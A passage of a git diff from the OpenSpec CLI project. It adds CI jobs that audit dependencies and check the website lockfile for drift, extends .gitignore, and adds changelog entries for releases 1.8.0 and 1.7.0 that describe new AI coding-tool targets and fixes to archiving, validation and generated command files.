actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0 + with: + fail-on-severity: high + + audit: + name: Audit + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Setup pnpm + uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 + + # No dependency cache: `pnpm audit` reads the lockfile, nothing is installed, + # so a cache-save step would fail on the missing store path. + - name: Setup Node.js + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: '20.19.0' + + # Advisory on pull requests: a newly published advisory should not stop an + # unrelated change, and the step depends on registry availability. + # Blocking everywhere else — on the weekly schedule and on pushes to main + # — so a high-severity advisory in a shipped dependency still fails a run + # even when no dependency changed. + - name: Audit published dependencies + continue-on-error: ${{ github.event_name == 'pull_request' }} + run: pnpm audit --prod --audit-level high + + # Build and test tooling never reaches an installed copy of OpenSpec, so an + # advisory here is a scheduled-update item. + - name: Audit build and test tooling + continue-on-error: true + run: pnpm audit --audit-level high + + # The docs site keeps its own lockfile and is not a workspace member, so + # neither audit above can see it. Without this step a website advisory is + # invisible — which is how two of them sat open long enough to need a + # manual override. + # + # Same blocking rule as the published-dependency audit: advisory on pull + # requests, blocking on the weekly schedule and on pushes to main. Green + # here has to mean the site is clean, or the step just relocates the blind + # spot into a passing log. `!cancelled()` because the two audits above can + # fail hard, and a root advisory must not silently skip this one. + - name: Audit documentation site + if: ${{ !cancelled() }} + continue-on-error: ${{ github.event_name == 'pull_request' }} + run: pnpm audit --audit-level high --dir website + + # The website keeps its own lockfile and is never installed or built elsewhere + # in CI, so a website/package.json change — e.g. a security override — that is + # not reflected in website/pnpm-lock.yaml goes unnoticed: the override you think + # patches an advisory may not be in the committed graph at all, and `pnpm audit` + # would happily audit the stale (possibly still-vulnerable) tree. A frozen-lockfile + # install fails fast on that drift. Root drift is already caught by the + # `--frozen-lockfile` installs in ci.yml; this closes the same gap for the website. + # `--ignore-scripts` skips sharp's native build (irrelevant to lockfile validation + # and the usual source of install flake). + website-lockfile: + name: Website Lockfile Drift + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Setup pnpm + uses: pnpm/action-setup@0ebf47130e4866e96fce0953f49152a61190b271 # v6 + + - name: Setup Node.js + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 + with: + node-version: '20.19.0' + + - name: Verify website lockfile matches package.json + run: pnpm install --frozen-lockfile --ignore-scripts --dir website diff --git a/.gitignore b/.gitignore index 3ed26016aa..1fb5c4a26a 100644 --- a/.gitignore +++ b/.gitignore @@ -148,6 +148,7 @@ CLAUDE.md # Pnpm .pnpm-store/ +/package-lock.json result # OpenCode @@ -159,3 +160,9 @@ opencode.json # Bob .bob/ + +# Trae +.trae/ + +# Cursor +.cursor/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 3753dd0d8f..8d2dc155f4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,416 @@ # @fission-ai/openspec +## 1.8.0 + +### Minor Changes + +- [#1303](https://github.com/Fission-AI/OpenSpec/pull/1303) [`1aa0f2a`](https://github.com/Fission-AI/OpenSpec/commit/1aa0f2abfc19f2487f5b8566e6eb3bf15f41c20a) Thanks [@solanab](https://github.com/solanab)! - Add the vendor-neutral `agents` target: `openspec init --tools agents` installs the workflow skills to `.agents/skills/openspec-*/SKILL.md`, the shared location AGENTS.md-compatible assistants read. It is skills-only, so no slash commands are generated. Because `agents` is now a real target, `--tools all` includes it and creates `.agents/skills/` where it previously did not. + +- [#1274](https://github.com/Fission-AI/OpenSpec/pull/1274) [`7a4a745`](https://github.com/Fission-AI/OpenSpec/commit/7a4a745d803b698c34947eda6d73b5a24aebb58c) Thanks [@NicoAvanzDev](https://github.com/NicoAvanzDev)! - Generate GitHub Copilot coding agent setup and custom agent files during `openspec init` and keep them synchronized during `openspec update`. + +- [#1214](https://github.com/Fission-AI/OpenSpec/pull/1214) [`161f945`](https://github.com/Fission-AI/OpenSpec/commit/161f9454a372aab67c495d780928bba89c829f3e) Thanks [@showms](https://github.com/showms)! - Add MiniMax Code as a global skills-only tool target. + +- [#1518](https://github.com/Fission-AI/OpenSpec/pull/1518) [`568e56c`](https://github.com/Fission-AI/OpenSpec/commit/568e56c67231dbe2447aca4f0e7995c05ada95a3) Thanks [@clay-good](https://github.com/clay-good)! - ### New Features + + - **Atlassian Rovo Dev CLI** — `openspec init --tools rovodev` installs the OpenSpec workflow skills for Atlassian's Rovo Dev CLI. It is skills-only (no slash commands), written to `.rovodev`. + + ### Bug Fixes + + - **Codex skills now live in the shared `.agents` directory** — `openspec init` and `openspec update` install Codex skills under `.agents/skills/` (the canonical location assistants read) and migrate an existing `.codex` skills directory in place. Files you customized are preserved, not overwritten. + - **`openspec status` separates planning from implementation** — status now reports `isPlanningComplete` (every non-skipped planning artifact exists; skipped artifacts count as satisfied without being written) distinctly from overall progress, and its messages no longer imply a change is finished before it has been implemented. `isComplete` is kept as a compatibility alias, so existing scripts keep working. + +- [#1517](https://github.com/Fission-AI/OpenSpec/pull/1517) [`73207a6`](https://github.com/Fission-AI/OpenSpec/commit/73207a6f2cd235729ac3fe3cb1e44152b8f63f12) Thanks [@clay-good](https://github.com/clay-good)! - Make GitHub Copilot cloud coding-agent files opt-in. Selecting the `github-copilot` tool no longer silently writes a GitHub Actions workflow into `.github/`; `openspec init` now asks first (default No) and remembers the choice in `openspec/config.yaml` (`githubCopilot.cloudAgent`). Use `--copilot-cloud` / `--no-copilot-cloud` to decide non-interactively. + + - `openspec update` never prompts — it only refreshes cloud files for projects that opted in (or that already have generated cloud files, so existing setups keep working). + - Opting out (`--no-copilot-cloud` or `cloudAgent: false`) removes OpenSpec-managed cloud files; a user-customized file is always preserved, never overwritten or deleted. + - `init` and `update` now report whether cloud files were written, skipped, or left untouched — and if you already have your own `copilot-setup-steps.yml`, they say it was preserved and that you need to add the OpenSpec install step by hand. + +- [#1484](https://github.com/Fission-AI/OpenSpec/pull/1484) [`521ee33`](https://github.com/Fission-AI/OpenSpec/commit/521ee33e6ece269241b45e08017ee60f13fdef08) Thanks [@clay-good](https://github.com/clay-good)! - Retire a capability when a change removes its last requirement. A change that declares `retire_capabilities: true` in its `.openspec.yaml` (alongside the `schema:` that file requires) may now be archived even when its REMOVED entries take a capability's last requirement: `openspec archive` deletes that capability's main spec instead of aborting with "Spec must have at least one requirement". Without the marker nothing changes — the archive aborts exactly as before, except the message now names the marker as the way out. Retirement happens only when the emptied spec could not have been written at all, every one is named in the archive output, a pasteable `git checkout` is included when the spec lived in the caller's checkout, and `--no-validate` never retires. Archive now also rejects a main spec with duplicate canonical requirement names instead of letting delta reconciliation collapse one of the duplicate blocks. One thing to know before retiring: a capability's spec is the base another change's MODIFIED block is checked against, so an in-flight change that modifies the capability you just retired will keep validating clean and then refuse to archive ("target spec does not exist; only ADDED requirements are allowed for new specs") — close or rework that change alongside the retirement. + +### Patch Changes + +- [#1502](https://github.com/Fission-AI/OpenSpec/pull/1502) [`ece8660`](https://github.com/Fission-AI/OpenSpec/commit/ece8660d44bd19b86440376327752cda3d7b0717) Thanks [@clay-good](https://github.com/clay-good)! - `openspec validate` now treats the English `SHALL`/`MUST` convention as guidance in normal mode, so requirements written in other languages can validate. Strict mode continues to enforce the convention. + +- [#1483](https://github.com/Fission-AI/OpenSpec/pull/1483) [`2b3d368`](https://github.com/Fission-AI/OpenSpec/commit/2b3d368539132be6311e55db58899abbf5306b81) Thanks [@clay-good](https://github.com/clay-good)! - Tell the caller which flag to pass when `openspec archive` cannot ask its confirmation questions. An AI agent (or any script) runs the CLI with stdin closed, so every prompt rejects with `@inquirer`'s `User force closed the prompt with 0 null` — the archive aborted with an error that named neither the question nor the flag, and agents burned a turn guessing ([#1479](https://github.com/Fission-AI/OpenSpec/issues/1479)). Each confirmation now reports what it needed and a pasteable rerun that carries the flags you already passed: `openspec archive --skip-specs --yes` stays a `--skip-specs` run, so following the suggestion cannot merge specs you opted out of merging, and a change name that needs quoting gets double quotes, the one form bash, zsh, PowerShell and cmd.exe all read the same way (a name no shell reads literally even quoted — one containing `$`, a backtick, or the `%`/`!` that cmd.exe still expands inside quotes — is left as a `` placeholder rather than a command that would target something else). `openspec archive` with no change name used to swallow the same failure, print `No change selected. Aborting.` and exit 0 — success for a run that archived nothing; it now exits 1 asking for a change name, matching how `openspec show` and `openspec validate` already behave without a terminal. The check is reactive — it inspects a prompt that already failed — so answers piped into the command, `--yes`, `--json`, and Ctrl-C all behave exactly as before, and a run that OpenSpec already considers non-interactive (`CI`, `OPEN_SPEC_INTERACTIVE=0`, `--no-interactive`) gets the guidance even when the runner allocated a pty. The onboarding walkthrough, the only generated guidance that tells an agent to run `openspec archive`, now shows `--yes`. + +- [#1486](https://github.com/Fission-AI/OpenSpec/pull/1486) [`427abf4`](https://github.com/Fission-AI/OpenSpec/commit/427abf40ac45a9a44f78eb74c81f53f9f4197ccf) Thanks [@clay-good](https://github.com/clay-good)! - Task progress now counts indented sub-tasks. A `tasks.md` whose sub-tasks were unfinished reported `✓ Complete` in `openspec list` and `openspec view`, was missing those tasks from the `openspec instructions apply` list, and archived with no incomplete-task warning, because both checkbox parsers only matched checkboxes at column 0. + + Progress counting and the apply task list now share one parser, so `list`, `view`, `archive` and `apply` agree about which lines of a tasks file are tasks. A checkbox with no text after it is left out of the apply list, which has nothing to act on, but still counts toward every progress number; a file of nothing but such checkboxes now asks to be rewritten rather than reporting itself done. The shared pattern matches every line the two it replaced matched, and more, so task counts can rise but never fall: no change starts reporting less work than before, and archive's incomplete-task warning can only become stricter. Checkboxes are still counted wherever they appear, including inside a code fence, an HTML comment or an indented block, so a `tasks.md` that shows a checklist as a format example can now count that example as work — remove it from the file, or pass `--yes` to archive. + +- [#1500](https://github.com/Fission-AI/OpenSpec/pull/1500) [`26bd1d4`](https://github.com/Fission-AI/OpenSpec/commit/26bd1d4e5c6c6ba75bd7d6136424019b2bf89ced) Thanks [@clay-good](https://github.com/clay-good)! - Keep generated workflows on the selected store, handle optional workflow fallbacks safely, and validate synced specs before reporting success. + +- [#1490](https://github.com/Fission-AI/OpenSpec/pull/1490) [`45cca5d`](https://github.com/Fission-AI/OpenSpec/commit/45cca5db6137ed209117cc70510eb3e057fb981b) Thanks [@clay-good](https://github.com/clay-good)! - Say before confirmation when archiving a change will delete a note written next to a requirement. A requirement absorbs anything below it that OpenSpec doesn't recognize as a new heading — a note indented by the one to three spaces Markdown allows, for example — so removing or modifying that requirement took the note with it, silently. `openspec archive` now names content the rebuilt spec would actually drop and where to move it to keep it. The merge itself is unchanged: nothing is relocated, because a `#` line inside a scenario looks identical to a note and moving one of those would rewrite the spec wrongly. + +- [#1492](https://github.com/Fission-AI/OpenSpec/pull/1492) [`690a27e`](https://github.com/Fission-AI/OpenSpec/commit/690a27e649c4a3325daeb0f6667ebe0f82792179) Thanks [@mc856](https://github.com/mc856)! - `openspec init` and `openspec update` no longer delete the CoStrict and Junie command files they just generated. Legacy cleanup removes artifacts older OpenSpec versions left behind, and two of its patterns named paths the current adapters still write to. CoStrict's was a whole-directory removal of `.cospec/openspec/commands/`, the folder the adapter writes `opsx-.md` into, so every run wiped the directory — including any file the user kept there — while the banner above it read `No user content to preserve`. Junie's `.junie/commands/opsx-*.md` listed its own current output. Cleanup runs before the config migration, so on a config that has no `profile` key yet the missing command files make delivery detection read the project as skills-only and persist that to the global config: the files are not regenerated, and the preference changes for every other project too. + + CoStrict is now a file pattern, `.cospec/openspec/commands/openspec-*.md`, matching the three commands the pre-`opsx` CoStrict integration wrote there (`openspec-proposal.md`, `openspec-apply.md`, `openspec-archive.md`) and the same shape every other file-based tool already uses. Junie's entry is removed outright: Junie support arrived after the slash configurators that wrote `openspec-*` files were deleted, so no OpenSpec version ever created those files there. Genuinely legacy files are still detected and removed, and no other tool's patterns change — they never overlapped their adapter's current output. + +- [#1501](https://github.com/Fission-AI/OpenSpec/pull/1501) [`0b20ae3`](https://github.com/Fission-AI/OpenSpec/commit/0b20ae3964283bdcb4e34ea7380770857f6a339c) Thanks [@clay-good](https://github.com/clay-good)! - Keep the propose workflow focused on planning, clarify material ambiguities before creating a change, and hand implementation off to the apply workflow. + +- [#1503](https://github.com/Fission-AI/OpenSpec/pull/1503) [`8a3850d`](https://github.com/Fission-AI/OpenSpec/commit/8a3850da735e241c14ad94935463f879b33f21a9) Thanks [@clay-good](https://github.com/clay-good)! - When exploration turns into a new change, generated explore guidance now instructs agents to run `openspec new change` before writing requested artifacts. This preserves the required `.openspec.yaml` metadata instead of letting an agent create an incomplete change directory by hand. After the user accepts a capture, explore also creates the requested artifacts without requiring another workflow command. + +- [#1513](https://github.com/Fission-AI/OpenSpec/pull/1513) [`622c509`](https://github.com/Fission-AI/OpenSpec/commit/622c509a1349c3ad9c52cd1a4ee007bd47549204) Thanks [@FasterPHP](https://github.com/FasterPHP)! - Honor `telemetry.enabled` in global config. `false` disables anonymous telemetry and `openspec update` version checks; unset keeps telemetry enabled, and env/CI opt-outs still take precedence. + +- [#1499](https://github.com/Fission-AI/OpenSpec/pull/1499) [`9cd845f`](https://github.com/Fission-AI/OpenSpec/commit/9cd845fc459b71486d9f2424c2e1f38e2ca8766e) Thanks [@clay-good](https://github.com/clay-good)! - Keep generated files, specs, archive moves, and local state inside their intended security boundaries without breaking linked monorepo workflows. + +- [#1482](https://github.com/Fission-AI/OpenSpec/pull/1482) [`84ebc57`](https://github.com/Fission-AI/OpenSpec/commit/84ebc57cb3f0e91b93484484092fdc2f9fcf39e6) Thanks [@clay-good](https://github.com/clay-good)! - `openspec validate ` now reports a MODIFIED requirement that omits a scenario the main spec still has — the same loss archive already refuses to apply — so the change fails at authoring time instead of at archive time. A change carrying a stale MODIFIED block will start failing validation; it was already unarchivable, and the message names the scenarios to copy back in. + +## 1.7.0 + +### Minor Changes + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Add CodeArts Agent skills support: `openspec init --tools codeartsagent` installs the workflow skills. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Add Hermes Agent as a supported AI tool: `openspec init --tools hermes` installs the workflow skills (Hermes is skills-only and invokes them directly). + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Add ZCode as a supported AI tool: `openspec init --tools zcode` generates its skills and `/opsx:*` commands. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Codex is now skills-only: workflows install as `$openspec-*` skills and previously managed custom prompts are retired (existing ones are cleaned up on update). + +- [#1062](https://github.com/Fission-AI/OpenSpec/pull/1062) [`eac2973`](https://github.com/Fission-AI/OpenSpec/commit/eac2973819037727b10214f70db2f54d82f2d891) Thanks [@showms](https://github.com/showms)! - Add current project context and per-operation guidance to apply and archive workflows. Projects can configure `operations.apply.guidance` and `operations.archive.guidance`; `openspec instructions apply` returns apply inputs, and the new read-only `openspec instructions archive` surface returns archive inputs for the selected root. + + Archive, bulk archive, and sync skills now load current archive inputs and `specs` artifact rules at execution time, fail before writes or moves when required instruction lookups fail, and reuse specs-rule snapshots during inline sync. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Publish the workflow skills as static `skills//SKILL.md` files so `npx skills add Fission-AI/OpenSpec` works. + +- [#1399](https://github.com/Fission-AI/OpenSpec/pull/1399) [`27b22ab`](https://github.com/Fission-AI/OpenSpec/commit/27b22ab4cbf530fa00e17f0f6b75a44d56777542) Thanks [@clay-good](https://github.com/clay-good)! - Add `skip_specs: true` change metadata for work with no spec-level behavior change (pure refactors, tooling, docs). `openspec validate` accepts a zero-delta change that declares the marker (honored only when the metadata parses under the shared change-metadata schema and names a schema that loads) and errors when the marker and delta specs are both present, the artifact graph no longer blocks `tasks` on spec files for such changes, `openspec status` renders the specs stage as explicitly skipped, and the propose/specs guidance points to the marker instead of contradicting the validator. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Resolve symlinked schema directories so schemas shared via symlink (e.g. from a dotfiles repo) are discovered. + +- [#1470](https://github.com/Fission-AI/OpenSpec/pull/1470) [`6295515`](https://github.com/Fission-AI/OpenSpec/commit/6295515d4da4f7c76eaed00b7f1926771eae92de) Thanks [@clay-good](https://github.com/clay-good)! - `openspec update` now offers to upgrade the CLI when yours is behind the published one. Instruction files are generated by the installed CLI, so a stale install reported `✓ All 1 tool(s) up to date (v1.6.0)` while the workflows added in newer releases were never written: + + ```text + A newer OpenSpec CLI is available (v1.6.0 → v1.7.0). + Running from: /usr/local/lib/node_modules/@fission-ai/openspec + ? Upgrade to v1.7.0 now? (Y/n) + ``` + + Say yes and it upgrades, confirms the new version is the one that answers, then re-runs the update so the new workflows arrive in the same command. Say no and it prints the command matching how you installed OpenSpec, and updates with what you have. Nothing happens to your machine that you did not agree to: the offer appears only in an interactive terminal and only where `npm install -g` would help, and the check is skipped in CI or when `OPENSPEC_NO_UPDATE_CHECK`, `DO_NOT_TRACK=1`, or `OPENSPEC_TELEMETRY=0` is set. + + See [CLI reference → `openspec update`](https://github.com/Fission-AI/OpenSpec/blob/main/docs/cli.md#openspec-update) for the per-install-method behavior and every opt-out. + +### Patch Changes + +- [#1404](https://github.com/Fission-AI/OpenSpec/pull/1404) [`a84ae70`](https://github.com/Fission-AI/OpenSpec/commit/a84ae70e8c6ef6ffaab56599d6f91fa39873e63d) Thanks [@clay-good](https://github.com/clay-good)! - Generated skills for tools without a command adapter (Kimi Code, Mistral Vibe, Hermes, ForgeCode, CodeArts) no longer reference `/opsx:*` commands that were never generated: skill cross-references, the init getting-started hint, and the profile-migration message now use each tool's documented skill invocation (Kimi Code: `/skill:openspec-*`; others: `/openspec-*`), and Codex — skills-invocable with no slash surface — gets a syntax-neutral hint that names the skill. Selections that mix invocation syntaxes print one labeled hint per distinct form, so every advertised instruction is usable by the tool it names. When `delivery: commands` would generate nothing for a selected tool, init prints a configuration correction naming that tool, even when other tools did get commands or skills. The committed skills.sh distribution is regenerated with skill references (default `/openspec-*` form, as that channel installs skills only). + +- [#1363](https://github.com/Fission-AI/OpenSpec/pull/1363) [`5199f41`](https://github.com/Fission-AI/OpenSpec/commit/5199f41a5d523b9212dd2854ec5e505d2f80e2e7) Thanks [@clay-good](https://github.com/clay-good)! - ### Features + + - **One default store for every repo on your machine** — `openspec config set defaultStore ` sets a machine-level fallback root: any command run outside a planning root, with no `--store` flag and no project `store:` pointer, resolves to that store. It sits at the bottom of the precedence list, so `--store`, a local root, and a project pointer all still win. The root banner and JSON `root` block report the distinct provenance `source: "global_default"`, so users and tooling can tell a machine-wide default from a repo's own pointer. A stale id degrades to the underlying store error with a fix that names `openspec config unset defaultStore`. + +- [#1435](https://github.com/Fission-AI/OpenSpec/pull/1435) [`6a5171e`](https://github.com/Fission-AI/OpenSpec/commit/6a5171e18630db4ed8e78c9edfaae4be532e2af6) Thanks [@clay-good](https://github.com/clay-good)! - `openspec new change` now accepts numeric-prefixed names like `100-add-feature` or `00001-add-auth`, useful for ordering or tiering changes. Change names now use the same kebab-case grammar as store ids and change metadata (a leading digit is allowed); `archive` already treated date-prefixed names as a supported convention. Uppercase, spaces, underscores, and leading/trailing or consecutive hyphens are still rejected, and every previously valid name stays valid. + +- [#1425](https://github.com/Fission-AI/OpenSpec/pull/1425) [`040a869`](https://github.com/Fission-AI/OpenSpec/commit/040a86931f5398167137a483b2e8081aec13016e) Thanks [@clay-good](https://github.com/clay-good)! - Compare config key guards literally instead of through a helper. + + `setNestedValue` and `deleteNestedValue` rejected prototype-reaching key segments through a helper that did a `Set` lookup. That is correct, but static analysis could not follow it, so CodeQL kept reporting prototype-pollution on the very assignments the guard protects. The segments are now compared literally in the same function, still checked across the whole path before anything is written. Behavior is unchanged for every input, verified against the previous implementation across 400,000 generated cases. + +- [#1431](https://github.com/Fission-AI/OpenSpec/pull/1431) [`6a4f0d7`](https://github.com/Fission-AI/OpenSpec/commit/6a4f0d7f3384486132cb9c516b635c23cadc1fa2) Thanks [@clay-good](https://github.com/clay-good)! - A delta spec that introduces a brand-new capability can now open with a `## Purpose`, and `openspec archive` uses it as the Purpose of the main spec it creates instead of writing the `TBD - created by archiving change . Update Purpose after archive.` placeholder over it. The `specs` artifact instruction, its example, the delta template and the `openspec-sync-specs` skill all tell authors and agents to write one, so the CLI and agent-driven sync paths produce the same main spec. + + Archive keeps the placeholder when the delta has no usable `## Purpose`: + + - no `## Purpose` header outside a code fence or HTML comment, or a body that is only a code fence or only a comment + - a body that would leave a spec its own parser cannot read — a heading or requirement header that truncates a section, an unterminated fence, or any HTML comment + - in the second case archive also says why, and still completes rather than aborting + + A carried Purpose under 50 characters is kept but warned about, since `openspec validate --strict` reports it as too brief. The Purpose of an existing main spec is never touched; archive warns when it ignores a delta's Purpose there. + +- [#1437](https://github.com/Fission-AI/OpenSpec/pull/1437) [`19d4171`](https://github.com/Fission-AI/OpenSpec/commit/19d41714c8b790488732687443713e406ef5aeef) Thanks [@clay-good](https://github.com/clay-good)! - `openspec archive` no longer aborts when a REMOVED delta's requirement is already gone from the main spec (the early-sync pattern the sync skill teaches): it warns, treats the removal as already applied, and reports applied-only totals. In `--json` mode those warnings are carried in a new optional `warnings` array on the archive result. When every operation for a spec was already synced, archive skips rewriting that file instead of churning normalization differences into it. A delta that both RENAMEs and REMOVEs the same requirement is now rejected explicitly, by both `validate` and `archive` — the two spellings are compared case- and whitespace-insensitively — and a REMOVED header that differs only in case or whitespace from an existing requirement still aborts (that is a typo, not an early sync). Also fixed: the archive delta gate matches section headers case-insensitively like the parser; symlinked `specs//spec.md` files are discovered instead of silently dropped; `openspec show ` no longer prints a spurious "scenarios" flag warning; files generated for qwen and bob reference commands by their real hyphenated names (`/opsx-`), and init's getting-started hint follows suit; apply/update/onboard guidance names the CLI fallback for profiles that don't install `/opsx:continue` or `/opsx:new`. + +- [#1411](https://github.com/Fission-AI/OpenSpec/pull/1411) [`c439a4e`](https://github.com/Fission-AI/OpenSpec/commit/c439a4ee48ef02dcdae6ac8101b7d12924695e7e) Thanks [@clay-good](https://github.com/clay-good)! - Fix phantom requirements parsed from delta specs, which made `openspec archive` warn about problems `openspec validate` never reported. + + A header inside a delta section that is not a `### Requirement:` header — a divider such as `### Documentation Requirements` — was read as a requirement with no scenario. `openspec archive` warned that it was missing a scenario, and `openspec show --json` and `openspec change list` counted it as an extra delta. The change parser now ignores those headers, matching the delta reader, so the phantom is gone from the warnings and from the JSON. Main spec parsing is unchanged. + + `openspec archive` also no longer repeats requirement-level issues from the delta specs in its non-blocking "Proposal warnings in proposal.md" block. Each defect was printed twice there, and a `## REMOVED Requirements` entry — names-only by design — was reported as missing a scenario on every correct removal. Delta spec validation still reports and blocks on genuine defects, and proposal-level warnings are unchanged. + +- [#1394](https://github.com/Fission-AI/OpenSpec/pull/1394) [`b474f81`](https://github.com/Fission-AI/OpenSpec/commit/b474f81cb4bebbeff0e447fd78c34a613ebd02fa) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Archive no longer races the spec sync, or reports a sync that never landed** — the generated `openspec-archive-change` skill (and the matching `opsx:archive` command) handed the spec sync to a background task and then moved the change folder immediately. The archive could move the delta specs out from under the running sync: the change ended up archived, `openspec/specs/` was never updated, and the summary still reported `Specs: ✓ Synced`. The sync now runs inline, and the archive only proceeds once every capability with a delta spec has been checked against it — ADDED present, MODIFIED changes applied, REMOVED gone, RENAMED under the new name and not the old. If the sync fails or a capability doesn't match, the archive stops and reports what differs instead of claiming success; nothing has moved, so you can fix it and retry. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Apply profile changes with the installed CLI instead of shelling out to `npx`, which could run a different version. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - Delta and main-spec parsers strip a UTF-8 BOM, so files saved by Windows editors or PowerShell redirects no longer fail with "No delta sections found". + +- [#1398](https://github.com/Fission-AI/OpenSpec/pull/1398) [`97d441a`](https://github.com/Fission-AI/OpenSpec/commit/97d441a8ee2738d3008709e61acfc91925c7ae3a) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - **Bulk archive now stops when you pick "Cancel"** — the generated `openspec-bulk-archive-change` skill (and the matching `opsx:bulk-archive` command) offered a "Cancel" option at the confirmation prompt but never told the agent what to do with it, so the next step archived every selected change anyway. The prompt now routes each answer by intent: "Cancel" stops without archiving anything, the archive options proceed (the ready-only option archives just the changes the status table marks `Ready` or `Ready*`), and any other answer re-asks instead of archiving. The single-change archive skill already routes Cancel this way; this brings the bulk variant in line. + +- [#1375](https://github.com/Fission-AI/OpenSpec/pull/1375) [`52a8bce`](https://github.com/Fission-AI/OpenSpec/commit/52a8bce1fd2bc98c51fa35cf0cfa05e799eb4404) Thanks [@clay-good](https://github.com/clay-good)! - `--change` now accepts any change name that exists on disk (e.g. date-prefixed names like `2026-07-04-voice-copilot-v1`), matching what `list`, `validate`, and `archive` already resolve. Lookup still rejects unsafe names (path separators, `..`, hidden entries); the kebab-case naming rule still applies when creating a change. + +- [#1475](https://github.com/Fission-AI/OpenSpec/pull/1475) [`17af60c`](https://github.com/Fission-AI/OpenSpec/commit/17af60c66e4c049e3986fdbafcdc16b202cda59f) Thanks [@clay-good](https://github.com/clay-good)! - `openspec new change` rejects names over 200 characters with a validation message instead of surfacing a raw ENAMETOOLONG filesystem error. + +- [#1447](https://github.com/Fission-AI/OpenSpec/pull/1447) [`fb19699`](https://github.com/Fission-AI/OpenSpec/commit/fb196995dad017074415a638824eb546f3321cbc) Thanks [@hsusul](https://github.com/hsusul)! - Generated tool command files now carry valid YAML frontmatter for every supported tool. Command names ship as `OPSX: Explore`, and the unquoted `name: OPSX: Explore` that adapters emitted is not parseable YAML — strict parsers rejected the whole file, so the command failed to load. Several adapters also re-implemented their own escaping, and a few interpolated descriptions in raw. + + Escaping now lives in one place (`escapeYamlValue` / `formatTagsArray`) and every adapter uses it. String frontmatter values are always double-quoted, which also keeps values like `true`, `null` and `123` from round-tripping as booleans, nulls and numbers. Non-string fields such as `allowed-tools` and `invokable` are unchanged. Expect the first `openspec update` after upgrading to rewrite the frontmatter lines of your generated command files. + + Archive workflow guidance also gets two corrections: bulk archive now carries its per-delta include/exclude decisions into execution, so a delta whose implementation was not found is reported as `sync skipped` instead of being synced anyway, and both archive workflows verify the main specs before moving the change directory. + +- [#1471](https://github.com/Fission-AI/OpenSpec/pull/1471) [`9a937cb`](https://github.com/Fission-AI/OpenSpec/commit/9a937cb9b36fb1040bdbde3bab3fa3903944ef10) Thanks [@clay-good](https://github.com/clay-good)! - Reference slash commands by the name each tool actually registers. Command bodies, generated `SKILL.md` cross-references, and the `init`/`update`/migration hints all advertised `/opsx:`, but only 7 of the 28 tools with a command adapter register that name — the ones whose files sit in an `opsx/` directory. The other 21 write `.../opsx-.md`, where the filename is the command, so tools such as Cursor, GitHub Copilot, Windsurf and Kilo Code were told to type a command their palette never had; a single generated Cursor file named itself `/opsx-apply` in frontmatter and then told the reader to run `/opsx:apply`. The command _name_ is now derived from the command file each adapter writes rather than a hand-maintained tool list, so a newly added adapter cannot drift, and the _wrapper_ around it is adapter metadata: Amazon Q loads its files into a prompt library invoked with `@`, so it now gets `@opsx-` in command bodies, skills, and the onboarding hint instead of a slash command it never registers. Codex, which generates no command files at all, now gets `$openspec-` — the syntax its CLI actually accepts — everywhere it previously advertised `/opsx:*`, superseding the syntax-neutral hint described in the pending `adapterless-skill-references` note. Command filenames and paths are unchanged, and Claude Code output is byte-identical. + +- [#1364](https://github.com/Fission-AI/OpenSpec/pull/1364) [`f58b445`](https://github.com/Fission-AI/OpenSpec/commit/f58b4456925b6331f3e5902a1c57905afe7edbf5) Thanks [@clay-good](https://github.com/clay-good)! - Fix `openspec completion install` detecting the wrong shell for fish (and other) + users whose interactive shell differs from their login shell. Detection now + consults the parent process before falling back to `$SHELL`, so running the + command from fish installs fish completions instead of defaulting to bash. + +- [#1377](https://github.com/Fission-AI/OpenSpec/pull/1377) [`285dfd7`](https://github.com/Fission-AI/OpenSpec/commit/285dfd7d764752b2a1e7e8cc843d613421e62652) Thanks [@clay-good](https://github.com/clay-good)! - ### Bug Fixes + + - Config `rules:` keys are no longer reported as `Unknown artifact ID` when they belong to a different schema. The global rules map 